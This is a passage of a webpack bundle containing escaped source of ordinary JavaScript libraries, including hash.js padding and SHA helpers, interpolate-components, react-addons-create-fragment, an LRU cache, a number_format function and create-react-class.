this;\n};\n\nBlockHash.prototype.digest = function digest(enc) {\n  this.update(this._pad());\n  assert(this.pending === null);\n\n  return this._digest(enc);\n};\n\nBlockHash.prototype._pad = function pad() {\n  var len = this.pendingTotal;\n  var bytes = this._delta8;\n  var k = bytes - ((len + this.padLength) % bytes);\n  var res = new Array(k + this.padLength);\n  res[0] = 0x80;\n  for (var i = 1; i < k; i++)\n    res[i] = 0;\n\n  // Append length\n  len <<= 3;\n  if (this.endian === 'big') {\n    for (var t = 8; t < this.padLength; t++)\n      res[i++] = 0;\n\n    res[i++] = 0;\n    res[i++] = 0;\n    res[i++] = 0;\n    res[i++] = 0;\n    res[i++] = (len >>> 24) & 0xff;\n    res[i++] = (len >>> 16) & 0xff;\n    res[i++] = (len >>> 8) & 0xff;\n    res[i++] = len & 0xff;\n  } else {\n    res[i++] = len & 0xff;\n    res[i++] = (len >>> 8) & 0xff;\n    res[i++] = (len >>> 16) & 0xff;\n    res[i++] = (len >>> 24) & 0xff;\n    res[i++] = 0;\n    res[i++] = 0;\n    res[i++] = 0;\n    res[i++] = 0;\n\n    for (t = 8; t < this.padLength; t++)\n      res[i++] = 0;\n  }\n\n  return res;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/hash.js/lib/hash/common.js\n// module id = 98\n// module chunks = 0 1 2 3 4 5","'use strict';\n\nvar utils = require('../utils');\nvar rotr32 = utils.rotr32;\n\nfunction ft_1(s, x, y, z) {\n  if (s === 0)\n    return ch32(x, y, z);\n  if (s === 1 || s === 3)\n    return p32(x, y, z);\n  if (s === 2)\n    return maj32(x, y, z);\n}\nexports.ft_1 = ft_1;\n\nfunction ch32(x, y, z) {\n  return (x & y) ^ ((~x) & z);\n}\nexports.ch32 = ch32;\n\nfunction maj32(x, y, z) {\n  return (x & y) ^ (x & z) ^ (y & z);\n}\nexports.maj32 = maj32;\n\nfunction p32(x, y, z) {\n  return x ^ y ^ z;\n}\nexports.p32 = p32;\n\nfunction s0_256(x) {\n  return rotr32(x, 2) ^ rotr32(x, 13) ^ rotr32(x, 22);\n}\nexports.s0_256 = s0_256;\n\nfunction s1_256(x) {\n  return rotr32(x, 6) ^ rotr32(x, 11) ^ rotr32(x, 25);\n}\nexports.s1_256 = s1_256;\n\nfunction g0_256(x) {\n  return rotr32(x, 7) ^ rotr32(x, 18) ^ (x >>> 3);\n}\nexports.g0_256 = g0_256;\n\nfunction g1_256(x) {\n  return rotr32(x, 17) ^ rotr32(x, 19) ^ (x >>> 10);\n}\nexports.g1_256 = g1_256;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/hash.js/lib/hash/sha/common.js\n// module id = 99\n// module chunks = 0 1 2 3 4 5","'use strict';\n\nObject.defineProperty(exports, \"__esModule\", {\n\tvalue: true\n});\n\nvar _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; /**\n                                                                                                                                                                                                                                                                               * External Dependencies\n                                                                                                                                                                                                                                                                               */\n\n\n/**\n * Internal Dependencies\n */\n\n\nvar _react = require('react');\n\nvar _react2 = _interopRequireDefault(_react);\n\nvar _reactAddonsCreateFragment = require('react-addons-create-fragment');\n\nvar _reactAddonsCreateFragment2 = _interopRequireDefault(_reactAddonsCreateFragment);\n\nvar _tokenize = require('./tokenize');\n\nvar _tokenize2 = _interopRequireDefault(_tokenize);\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nvar currentMixedString = void 0;\n\nfunction getCloseIndex(openIndex, tokens) {\n\tvar openToken = tokens[openIndex],\n\t    nestLevel = 0,\n\t    token,\n\t    i;\n\tfor (i = openIndex + 1; i < tokens.length; i++) {\n\t\ttoken = tokens[i];\n\t\tif (token.value === openToken.value) {\n\t\t\tif (token.type === 'componentOpen') {\n\t\t\t\tnestLevel++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (token.type === 'componentClose') {\n\t\t\t\tif (nestLevel === 0) {\n\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t\tnestLevel--;\n\t\t\t}\n\t\t}\n\t}\n\t// if we get this far, there was no matching close token\n\tthrow new Error('Missing closing component token `' + openToken.value + '`');\n}\n\nfunction buildChildren(tokens, components) {\n\tvar children = [],\n\t    childrenObject = {},\n\t    openComponent,\n\t    clonedOpenComponent,\n\t    openIndex,\n\t    closeIndex,\n\t    token,\n\t    i,\n\t    grandChildTokens,\n\t    grandChildren,\n\t    siblingTokens,\n\t    siblings;\n\n\tfor (i = 0; i < tokens.length; i++) {\n\t\ttoken = tokens[i];\n\t\tif (token.type === 'string') {\n\t\t\tchildren.push(token.value);\n\t\t\tcontinue;\n\t\t}\n\t\t// component node should at least be set\n\t\tif (!components.hasOwnProperty(token.value) || typeof components[token.value] === 'undefined') {\n\t\t\tthrow new Error('Invalid interpolation, missing component node: `' + token.value + '`');\n\t\t}\n\t\t// should be either ReactElement or null (both type \"object\"), all other types deprecated\n\t\tif (_typeof(components[token.value]) !== 'object') {\n\t\t\tthrow new Error('Invalid interpolation, component node must be a ReactElement or null: `' + token.value + '`', '\\n> ' + currentMixedString);\n\t\t}\n\t\t// we should never see a componentClose token in this loop\n\t\tif (token.type === 'componentClose') {\n\t\t\tthrow new Error('Missing opening component token: `' + token.value + '`');\n\t\t}\n\t\tif (token.type === 'componentOpen') {\n\t\t\topenComponent = components[token.value];\n\t\t\topenIndex = i;\n\t\t\tbreak;\n\t\t}\n\t\t// componentSelfClosing token\n\t\tchildren.push(components[token.value]);\n\t\tcontinue;\n\t}\n\n\tif (openComponent) {\n\t\tcloseIndex = getCloseIndex(openIndex, tokens);\n\t\tgrandChildTokens = tokens.slice(openIndex + 1, closeIndex);\n\t\tgrandChildren = buildChildren(grandChildTokens, components);\n\t\tclonedOpenComponent = _react2.default.cloneElement(openComponent, {}, grandChildren);\n\t\tchildren.push(clonedOpenComponent);\n\n\t\tif (closeIndex < tokens.length - 1) {\n\t\t\tsiblingTokens = tokens.slice(closeIndex + 1);\n\t\t\tsiblings = buildChildren(siblingTokens, components);\n\t\t\tchildren = children.concat(siblings);\n\t\t}\n\t}\n\n\tif (children.length === 1) {\n\t\treturn children[0];\n\t}\n\n\tchildren.forEach(function (child, index) {\n\t\tif (child) {\n\t\t\tchildrenObject['interpolation-child-' + index] = child;\n\t\t}\n\t});\n\n\treturn (0, _reactAddonsCreateFragment2.default)(childrenObject);\n}\n\nfunction interpolate(options) {\n\tvar mixedString = options.mixedString,\n\t    components = options.components,\n\t    throwErrors = options.throwErrors;\n\n\n\tcurrentMixedString = mixedString;\n\n\tif (!components) {\n\t\treturn mixedString;\n\t}\n\n\tif ((typeof components === 'undefined' ? 'undefined' : _typeof(components)) !== 'object') {\n\t\tif (throwErrors) {\n\t\t\tthrow new Error('Interpolation Error: unable to process `' + mixedString + '` because components is not an object');\n\t\t}\n\n\t\treturn mixedString;\n\t}\n\n\tvar tokens = (0, _tokenize2.default)(mixedString);\n\n\ttry {\n\t\treturn buildChildren(tokens, components);\n\t} catch (error) {\n\t\tif (throwErrors) {\n\t\t\tthrow new Error('Interpolation Error: unable to process `' + mixedString + '` because of error `' + error.message + '`');\n\t\t}\n\n\t\treturn mixedString;\n\t}\n};\n\nexports.default = interpolate;\n//# sourceMappingURL=index.js.map\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/interpolate-components/lib/index.js\n// module id = 100\n// module chunks = 0 1 2 3 4 5","/**\n * Copyright (c) 2015-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nvar React = require('react');\n\nvar REACT_ELEMENT_TYPE =\n  (typeof Symbol === 'function' && Symbol.for && Symbol.for('react.element')) ||\n  0xeac7;\n\nvar emptyFunction = require('fbjs/lib/emptyFunction');\nvar invariant = require('fbjs/lib/invariant');\nvar warning = require('fbjs/lib/warning');\n\nvar SEPARATOR = '.';\nvar SUBSEPARATOR = ':';\n\nvar didWarnAboutMaps = false;\n\nvar ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.\n\nfunction getIteratorFn(maybeIterable) {\n  var iteratorFn =\n    maybeIterable &&\n    ((ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL]) ||\n      maybeIterable[FAUX_ITERATOR_SYMBOL]);\n  if (typeof iteratorFn === 'function') {\n    return iteratorFn;\n  }\n}\n\nfunction escape(key) {\n  var escapeRegex = /[=:]/g;\n  var escaperLookup = {\n    '=': '=0',\n    ':': '=2'\n  };\n  var escapedString = ('' + key).replace(escapeRegex, function(match) {\n    return escaperLookup[match];\n  });\n\n  return '$' + escapedString;\n}\n\nfunction getComponentKey(component, index) {\n  // Do some typechecking here since we call this blindly. We want to ensure\n  // that we don't block potential future ES APIs.\n  if (component && typeof component === 'object' && component.key != null) {\n    // Explicit key\n    return escape(component.key);\n  }\n  // Implicit key determined by the index in the set\n  return index.toString(36);\n}\n\nfunction traverseAllChildrenImpl(\n  children,\n  nameSoFar,\n  callback,\n  traverseContext\n) {\n  var type = typeof children;\n\n  if (type === 'undefined' || type === 'boolean') {\n    // All of the above are perceived as null.\n    children = null;\n  }\n\n  if (\n    children === null ||\n    type === 'string' ||\n    type === 'number' ||\n    // The following is inlined from ReactElement. This means we can optimize\n    // some checks. React Fiber also inlines this logic for similar purposes.\n    (type === 'object' && children.$$typeof === REACT_ELEMENT_TYPE)\n  ) {\n    callback(\n      traverseContext,\n      children,\n      // If it's the only child, treat the name as if it was wrapped in an array\n      // so that it's consistent if the number of children grows.\n      nameSoFar === '' ? SEPARATOR + getComponentKey(children, 0) : nameSoFar\n    );\n    return 1;\n  }\n\n  var child;\n  var nextName;\n  var subtreeCount = 0; // Count of children found in the current subtree.\n  var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;\n\n  if (Array.isArray(children)) {\n    for (var i = 0; i < children.length; i++) {\n      child = children[i];\n      nextName = nextNamePrefix + getComponentKey(child, i);\n      subtreeCount += traverseAllChildrenImpl(\n        child,\n        nextName,\n        callback,\n        traverseContext\n      );\n    }\n  } else {\n    var iteratorFn = getIteratorFn(children);\n    if (iteratorFn) {\n      if (process.env.NODE_ENV !== 'production') {\n        // Warn about using Maps as children\n        if (iteratorFn === children.entries) {\n          warning(\n            didWarnAboutMaps,\n            'Using Maps as children is unsupported and will likely yield ' +\n              'unexpected results. Convert it to a sequence/iterable of keyed ' +\n              'ReactElements instead.'\n          );\n          didWarnAboutMaps = true;\n        }\n      }\n\n      var iterator = iteratorFn.call(children);\n      var step;\n      var ii = 0;\n      while (!(step = iterator.next()).done) {\n        child = step.value;\n        nextName = nextNamePrefix + getComponentKey(child, ii++);\n        subtreeCount += traverseAllChildrenImpl(\n          child,\n          nextName,\n          callback,\n          traverseContext\n        );\n      }\n    } else if (type === 'object') {\n      var addendum = '';\n      if (process.env.NODE_ENV !== 'production') {\n        addendum =\n          ' If you meant to render a collection of children, use an array ' +\n          'instead or wrap the object using createFragment(object) from the ' +\n          'React add-ons.';\n      }\n      var childrenString = '' + children;\n      invariant(\n        false,\n        'Objects are not valid as a React child (found: %s).%s',\n        childrenString === '[object Object]'\n          ? 'object with keys {' + Object.keys(children).join(', ') + '}'\n          : childrenString,\n        addendum\n      );\n    }\n  }\n\n  return subtreeCount;\n}\n\nfunction traverseAllChildren(children, callback, traverseContext) {\n  if (children == null) {\n    return 0;\n  }\n\n  return traverseAllChildrenImpl(children, '', callback, traverseContext);\n}\n\nvar userProvidedKeyEscapeRegex = /\\/+/g;\nfunction escapeUserProvidedKey(text) {\n  return ('' + text).replace(userProvidedKeyEscapeRegex, '$&/');\n}\n\nfunction cloneAndReplaceKey(oldElement, newKey) {\n  return React.cloneElement(\n    oldElement,\n    {key: newKey},\n    oldElement.props !== undefined ? oldElement.props.children : undefined\n  );\n}\n\nvar DEFAULT_POOL_SIZE = 10;\nvar DEFAULT_POOLER = oneArgumentPooler;\n\nvar oneArgumentPooler = function(copyFieldsFrom) {\n  var Klass = this;\n  if (Klass.instancePool.length) {\n    var instance = Klass.instancePool.pop();\n    Klass.call(instance, copyFieldsFrom);\n    return instance;\n  } else {\n    return new Klass(copyFieldsFrom);\n  }\n};\n\nvar addPoolingTo = function addPoolingTo(CopyConstructor, pooler) {\n  // Casting as any so that flow ignores the actual implementation and trusts\n  // it to match the type we declared\n  var NewKlass = CopyConstructor;\n  NewKlass.instancePool = [];\n  NewKlass.getPooled = pooler || DEFAULT_POOLER;\n  if (!NewKlass.poolSize) {\n    NewKlass.poolSize = DEFAULT_POOL_SIZE;\n  }\n  NewKlass.release = standardReleaser;\n  return NewKlass;\n};\n\nvar standardReleaser = function standardReleaser(instance) {\n  var Klass = this;\n  invariant(\n    instance instanceof Klass,\n    'Trying to release an instance into a pool of a different type.'\n  );\n  instance.destructor();\n  if (Klass.instancePool.length < Klass.poolSize) {\n    Klass.instancePool.push(instance);\n  }\n};\n\nvar fourArgumentPooler = function fourArgumentPooler(a1, a2, a3, a4) {\n  var Klass = this;\n  if (Klass.instancePool.length) {\n    var instance = Klass.instancePool.pop();\n    Klass.call(instance, a1, a2, a3, a4);\n    return instance;\n  } else {\n    return new Klass(a1, a2, a3, a4);\n  }\n};\n\nfunction MapBookKeeping(mapResult, keyPrefix, mapFunction, mapContext) {\n  this.result = mapResult;\n  this.keyPrefix = keyPrefix;\n  this.func = mapFunction;\n  this.context = mapContext;\n  this.count = 0;\n}\nMapBookKeeping.prototype.destructor = function() {\n  this.result = null;\n  this.keyPrefix = null;\n  this.func = null;\n  this.context = null;\n  this.count = 0;\n};\naddPoolingTo(MapBookKeeping, fourArgumentPooler);\n\nfunction mapSingleChildIntoContext(bookKeeping, child, childKey) {\n  var result = bookKeeping.result;\n  var keyPrefix = bookKeeping.keyPrefix;\n  var func = bookKeeping.func;\n  var context = bookKeeping.context;\n\n  var mappedChild = func.call(context, child, bookKeeping.count++);\n  if (Array.isArray(mappedChild)) {\n    mapIntoWithKeyPrefixInternal(\n      mappedChild,\n      result,\n      childKey,\n      emptyFunction.thatReturnsArgument\n    );\n  } else if (mappedChild != null) {\n    if (React.isValidElement(mappedChild)) {\n      mappedChild = cloneAndReplaceKey(\n        mappedChild,\n        // Keep both the (mapped) and old keys if they differ, just as\n        // traverseAllChildren used to do for objects as children\n        keyPrefix +\n          (mappedChild.key && (!child || child.key !== mappedChild.key)\n            ? escapeUserProvidedKey(mappedChild.key) + '/'\n            : '') +\n          childKey\n      );\n    }\n    result.push(mappedChild);\n  }\n}\n\nfunction mapIntoWithKeyPrefixInternal(children, array, prefix, func, context) {\n  var escapedPrefix = '';\n  if (prefix != null) {\n    escapedPrefix = escapeUserProvidedKey(prefix) + '/';\n  }\n  var traverseContext = MapBookKeeping.getPooled(\n    array,\n    escapedPrefix,\n    func,\n    context\n  );\n  traverseAllChildren(children, mapSingleChildIntoContext, traverseContext);\n  MapBookKeeping.release(traverseContext);\n}\n\nvar numericPropertyRegex = /^\\d+$/;\n\nvar warnedAboutNumeric = false;\n\nfunction createReactFragment(object) {\n  if (typeof object !== 'object' || !object || Array.isArray(object)) {\n    warning(\n      false,\n      'React.addons.createFragment only accepts a single object. Got: %s',\n      object\n    );\n    return object;\n  }\n  if (React.isValidElement(object)) {\n    warning(\n      false,\n      'React.addons.createFragment does not accept a ReactElement ' +\n        'without a wrapper object.'\n    );\n    return object;\n  }\n\n  invariant(\n    object.nodeType !== 1,\n    'React.addons.createFragment(...): Encountered an invalid child; DOM ' +\n      'elements are not valid children of React components.'\n  );\n\n  var result = [];\n\n  for (var key in object) {\n    if (process.env.NODE_ENV !== 'production') {\n      if (!warnedAboutNumeric && numericPropertyRegex.test(key)) {\n        warning(\n          false,\n          'React.addons.createFragment(...): Child objects should have ' +\n            'non-numeric keys so ordering is preserved.'\n        );\n        warnedAboutNumeric = true;\n      }\n    }\n    mapIntoWithKeyPrefixInternal(\n      object[key],\n      result,\n      key,\n      emptyFunction.thatReturnsArgument\n    );\n  }\n\n  return result;\n}\n\nmodule.exports = createReactFragment;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-addons-create-fragment/index.js\n// module id = 101\n// module chunks = 0 1 2 3 4 5","'use strict';\n\nfunction identifyToken(item) {\n\t// {{/example}}\n\tif (item.match(/^\\{\\{\\//)) {\n\t\treturn {\n\t\t\ttype: 'componentClose',\n\t\t\tvalue: item.replace(/\\W/g, '')\n\t\t};\n\t}\n\t// {{example /}}\n\tif (item.match(/\\/\\}\\}$/)) {\n\t\treturn {\n\t\t\ttype: 'componentSelfClosing',\n\t\t\tvalue: item.replace(/\\W/g, '')\n\t\t};\n\t}\n\t// {{example}}\n\tif (item.match(/^\\{\\{/)) {\n\t\treturn {\n\t\t\ttype: 'componentOpen',\n\t\t\tvalue: item.replace(/\\W/g, '')\n\t\t};\n\t}\n\treturn {\n\t\ttype: 'string',\n\t\tvalue: item\n\t};\n}\n\nmodule.exports = function (mixedString) {\n\tvar tokenStrings = mixedString.split(/(\\{\\{\\/?\\s*\\w+\\s*\\/?\\}\\})/g); // split to components and strings\n\treturn tokenStrings.map(identifyToken);\n};\n//# sourceMappingURL=tokenize.js.map\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/interpolate-components/lib/tokenize.js\n// module id = 102\n// module chunks = 0 1 2 3 4 5","var events = require('events')\nvar inherits = require('inherits')\n\nmodule.exports = LRU\n\nfunction LRU (opts) {\n  if (!(this instanceof LRU)) return new LRU(opts)\n  if (typeof opts === 'number') opts = {max: opts}\n  if (!opts) opts = {}\n  events.EventEmitter.call(this)\n  this.cache = {}\n  this.head = this.tail = null\n  this.length = 0\n  this.max = opts.max || 1000\n  this.maxAge = opts.maxAge || 0\n}\n\ninherits(LRU, events.EventEmitter)\n\nObject.defineProperty(LRU.prototype, 'keys', {\n  get: function () { return Object.keys(this.cache) }\n})\n\nLRU.prototype.clear = function () {\n  this.cache = {}\n  this.head = this.tail = null\n  this.length = 0\n}\n\nLRU.prototype.remove = function (key) {\n  if (typeof key !== 'string') key = '' + key\n  if (!this.cache.hasOwnProperty(key)) return\n\n  var element = this.cache[key]\n  delete this.cache[key]\n  this._unlink(key, element.prev, element.next)\n  return element.value\n}\n\nLRU.prototype._unlink = function (key, prev, next) {\n  this.length--\n\n  if (this.length === 0) {\n    this.head = this.tail = null\n  } else {\n    if (this.head === key) {\n      this.head = prev\n      this.cache[this.head].next = null\n    } else if (this.tail === key) {\n      this.tail = next\n      this.cache[this.tail].prev = null\n    } else {\n      this.cache[prev].next = next\n      this.cache[next].prev = prev\n    }\n  }\n}\n\nLRU.prototype.peek = function (key) {\n  if (!this.cache.hasOwnProperty(key)) return\n\n  var element = this.cache[key]\n\n  if (!this._checkAge(key, element)) return\n  return element.value\n}\n\nLRU.prototype.set = function (key, value) {\n  if (typeof key !== 'string') key = '' + key\n\n  var element\n\n  if (this.cache.hasOwnProperty(key)) {\n    element = this.cache[key]\n    element.value = value\n    if (this.maxAge) element.modified = Date.now()\n\n    // If it's already the head, there's nothing more to do:\n    if (key === this.head) return value\n    this._unlink(key, element.prev, element.next)\n  } else {\n    element = {value: value, modified: 0, next: null, prev: null}\n    if (this.maxAge) element.modified = Date.now()\n    this.cache[key] = element\n\n    // Eviction is only possible if the key didn't already exist:\n    if (this.length === this.max) this.evict()\n  }\n\n  this.length++\n  element.next = null\n  element.prev = this.head\n\n  if (this.head) this.cache[this.head].next = key\n  this.head = key\n\n  if (!this.tail) this.tail = key\n  return value\n}\n\nLRU.prototype._checkAge = function (key, element) {\n  if (this.maxAge && (Date.now() - element.modified) > this.maxAge) {\n    this.remove(key)\n    this.emit('evict', {key: key, value: element.value})\n    return false\n  }\n  return true\n}\n\nLRU.prototype.get = function (key) {\n  if (typeof key !== 'string') key = '' + key\n  if (!this.cache.hasOwnProperty(key)) return\n\n  var element = this.cache[key]\n\n  if (!this._checkAge(key, element)) return\n\n  if (this.head !== key) {\n    if (key === this.tail) {\n      this.tail = element.next\n      this.cache[this.tail].prev = null\n    } else {\n      // Set prev.next -> element.next:\n      this.cache[element.prev].next = element.next\n    }\n\n    // Set element.next.prev -> element.prev:\n    this.cache[element.next].prev = element.prev\n\n    // Element is the new head\n    this.cache[this.head].next = key\n    element.prev = this.head\n    element.next = null\n    this.head = key\n  }\n\n  return element.value\n}\n\nLRU.prototype.evict = function () {\n  if (!this.tail) return\n  var key = this.tail\n  var value = this.remove(this.tail)\n  this.emit('evict', {key: key, value: value})\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lru/index.js\n// module id = 103\n// module chunks = 0 1 2 3 4 5","/**\n * Exposes number format capability\n *\n * @copyright Copyright (c) 2013 Kevin van Zonneveld (http://kvz.io) and Contributors (http://phpjs.org/authors).\n * @license See CREDITS.md\n * @see https://github.com/kvz/phpjs/blob/ffe1356af23a6f2512c84c954dd4e828e92579fa/functions/strings/number_format.js\n */\nfunction number_format( number, decimals, dec_point, thousands_sep ) {\n  number = ( number + '' )\n    .replace( /[^0-9+\\-Ee.]/g, '' );\n  var n = ! isFinite( +number ) ? 0 : +number,\n    prec = ! isFinite( +decimals ) ? 0 : Math.abs( decimals ),\n    sep = ( typeof thousands_sep === 'undefined' ) ? ',' : thousands_sep,\n    dec = ( typeof dec_point === 'undefined' ) ? '.' : dec_point,\n    s = '',\n    toFixedFix = function( n, prec ) {\n      var k = Math.pow( 10, prec );\n      return '' + ( Math.round( n * k ) / k )\n          .toFixed( prec );\n    };\n  // Fix for IE parseFloat(0.55).toFixed(0) = 0;\n  s = ( prec ? toFixedFix( n, prec ) : '' + Math.round( n ) )\n    .split( '.' );\n  if ( s[ 0 ].length > 3 ) {\n    s[ 0 ] = s[ 0 ].replace( /\\B(?=(?:\\d{3})+(?!\\d))/g, sep );\n  }\n  if ( ( s[ 1 ] || '' )\n        .length < prec ) {\n    s[ 1 ] = s[ 1 ] || '';\n    s[ 1 ] += new Array( prec - s[ 1 ].length + 1 )\n      .join( '0' );\n  }\n  return s.join( dec );\n}\n\nmodule.exports = number_format;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/i18n-wp-plugin/lib/number-format.js\n// module id = 104\n// module chunks = 0 1 2 3 4 5","var React = require( 'react' ),\n\tassign = require( 'lodash.assign' ),\n\tcreateClass = require( 'create-react-class' );\n\n/**\n * Localize a React component\n * @param ComposedComponent\n * @returns A new Localized React Component\n */\nmodule.exports = function( i18n ) {\n\tvar i18nProps = {\n\t\tnumberFormat: i18n.numberFormat.bind( i18n ),\n\t\ttranslate: i18n.translate.bind( i18n )\n\t};\n\n\treturn function( ComposedComponent ) {\n\t\tvar componentName = ComposedComponent.displayName || ComposedComponent.name || '';\n\n\t\tvar component = createClass({\n\t\t\tdisplayName: 'Localized(' + componentName + ')',\n\n\t\t\tcomponentDidMount: function() {\n\t\t\t\tthis.boundForceUpdate = this.forceUpdate.bind( this );\n\t\t\t\ti18n.stateObserver.addListener( 'change', this.boundForceUpdate );\n\t\t\t},\n\n\t\t\tcomponentWillUnmount: function() {\n\t\t\t\t// in some cases, componentWillUnmount is called before componentDidMount\n\t\t\t\t// Supposedly fixed in React 15.1.0: https://github.com/facebook/react/issues/2410\n\t\t\t\tif ( this.boundForceUpdate ) {\n\t\t\t\t\ti18n.stateObserver.removeListener( 'change', this.boundForceUpdate );\n\t\t\t\t}\n\t\t\t},\n\n\t\t\trender: function() {\n\t\t\t\tvar props = assign( {}, this.props, i18nProps );\n\t\t\t\treturn React.createElement( ComposedComponent, props );\n\t\t\t}\n\t\t} );\n\t\tcomponent._composedComponent = ComposedComponent;\n\t\treturn component;\n\t};\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/i18n-wp-plugin/lib/localize/index.js\n// module id = 105\n// module chunks = 0 1 2 3 4 5","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nvar React = require('react');\nvar factory = require('./factory');\n\nif (typeof React === 'undefined') {\n  throw Error(\n    'create-react-class could not find the React object. If you are using script tags, ' +\n      'make sure that React is being loaded before create-react-class.'\n  );\n}\n\n// Hack to grab NoopUpdateQueue from isomorphic React\nvar ReactNoopUpdateQueue = new React.Component().updater;\n\nmodule.exports = factory(\n  React.Component,\n  React.isValidElement,\n  ReactNoopUpdateQueue\n);\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/create-react-class/index.js\n// module id = 106\n// module chunks = 0 1 2 3 4 5","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nvar _assign = require('object-assign');\n\nvar emptyObject = require('fbjs/lib/emptyObject');\nvar _invariant = require('fbjs/lib/invariant');\n\nif (process.env.NODE_ENV !== 'production') {\n  var warning = require('fbjs/lib/warning');\n}\n\nvar MIXINS_KEY = 'mixins';\n\n// Helper function to allow the creation of anonymous functions which do not\n// have .name set to the name of the variable being assigned to.\nfunction identity(fn) {\n  return fn;\n}\n\nvar ReactPropTypeLocationNames;\nif (process.env.NODE_ENV !== 'production') {\n  ReactPropTypeLocationNames = {\n    prop: 'prop',\n    context: 'context',\n    childContext: 'child context'\n  };\n} else {\n  ReactPropTypeLocationNames = {};\n}\n\nfunction factory(ReactComponent, isValidElement, ReactNoopUpdateQueue) {\n  /**\n   * Policies that describe methods in `ReactClassInterface`.\n   */\n\n  var injectedMixins = [];\n\n  /**\n   * Composite components are higher-level components that compose other composite\n   * or host components.\n   *\n   * To create a new type of `ReactClass`, pass a specification of\n   * your new class to `React.createClass`. The only requirement of your class\n   * specification is that you implement a `render` method.\n   *\n   *   var MyComponent = React.createClass({\n   *     render: function() {\n   *       return <div>Hello World</div>;\n   *     }\n   *   });\n   *\n   * The class specification supports a specific protocol of methods that have\n   * special meaning (e.g. `render`). See `ReactClassInterface` for\n   * more the comprehensive protocol. Any other properties and methods in the\n   * class specification will be available on the prototype.\n   *\n   * @interface ReactClassInterface\n   * @internal\n   */\n  var ReactClassInterface = {\n    /**\n     * An array of Mixin objects to include when defining your component.\n     *\n     * @type {array}\n     * @optional\n     */\n    mixins: 'DEFINE_MANY',\n\n    /**\n     * An object containing properties and methods that should be defined on\n     * the component's constructor instead of its prototype (static methods).\n     *\n     * @type {object}\n     * @optional\n     */\n    statics: 'DEFINE_MANY',\n\n    /**\n     * Definition of prop types for this component.\n     *\n     * @type {object}\n     * @optional\n     */\n    propTypes: 'DEFINE_MANY',\n\n    /**\n     * Definition of context types for this component.\n     *\n     * @type {object}\n     * @optional\n     */\n    contextTypes: 'DEFINE_MANY',\n\n    /**\n     * Definition of context types this component sets for its children.\n     *\n     * @type {object}\n     * @optional\n     */\n    childContextTypes: 'DEFINE_MANY',\n\n    // ==== Definition methods ====\n\n    /**\n     * Invoked when the component is mounted. Values in the mapping will be set on\n     * `this.props` if that prop is not specified (i.e. using an `in` check).\n     *\n     * This method is invoked before `getInitialState` and therefore cannot rely\n     * on `this.state` or use `this.setState`.\n     *\n     * @return {object}\n     * @optional\n     */\n    getDefaultProps: 'DEFINE_MANY_MERGED',\n\n    /**\n     * Invoked once before the component is mounted. The return value will be used\n     * as the initial value of `this.state`.\n     *\n     *   getInitialState: function() {\n     *     return {\n     *       isOn: false,\n     *       fooBaz: new BazFoo()\n     *     }\n     *   }\n     *\n     * @return {object}\n     * @optional\n     */\n    getInitialState: 'DEFINE_MANY_MERGED',\n\n    /**\n     * @return {object}\n     * @optional\n     */\n    getChildContext: 'DEFINE_MANY_MERGED',\n\n    /**\n     * Uses props from `this.props` and state from `this.state` to render the\n     * structure of the component.\n     *\n     * No guarantees are made about when or how often this method is invoked, so\n     * it must not have side effects.\n     *\n     *   render: function() {\n     *     var name = this.props.name;\n     *     return <div>Hello, {name}!</div>;\n     *   }\n     *\n     * @return {ReactComponent}\n     * @required\n     */\n    render: 'DEFINE_ONCE',\n\n    // ==== Delegate methods ====\n\n    /**\n     * Invoked when the component is initially created and about to be mounted.\n     * This may have side effects, but any external subscriptions or data created\n     * by this method must be cleaned up in `componentWillUnmount`.\n     *\n     * @optional\n     */\n    componentWillMount: 'DEFINE_MANY',\n\n    /**\n     * Invoked when the component has been mounted and has a DOM representation.\n     * However, there is no guarantee that the DOM node is in the document.\n     *\n     * Use this as an opportunity to operate on the DOM when the component has\n     * been mounted (initialized and rendered) for the first time.\n     *\n     * @param {DOMElement} rootNode DOM element representing the component.\n     * @optional\n     */\n    componentDidMount: 'DEFINE_MANY',\n\n    /**\n     * Invoked before the component receives new props.\n     *\n     * Use this as an opportunity to react to a prop transition by updating the\n     * state using `this.setState`. Current props are accessed via `this.props`.\n     *\n     *   componentWillReceiveProps: function(nextProps, nextContext) {\n     *     this.setState({\n     *       likesIncreasing: nextProps.likeCount > this.props.likeCount\n     *     });\n     *   }\n     *\n     * NOTE: There is no equivalent `componentWillReceiveState`. An incoming prop\n     * transition may cause a state change, but the opposite is not true. If you\n     * need it, you are probably looking for `componentWillUpdate`.\n     *\n     * @param {object} nextProps\n     * @optional\n     */\n    componentWillReceiveProps: 'DEFINE_MANY',\n\n    /**\n     * Invoked while deciding if the component should be updated as a result of\n     * receiving new props, state and/or context.\n     *\n     * Use this as an opportunity to `return false` when you're certain that the\n     * transition to the new props/state/context will not require a component\n     * update.\n     *\n     *   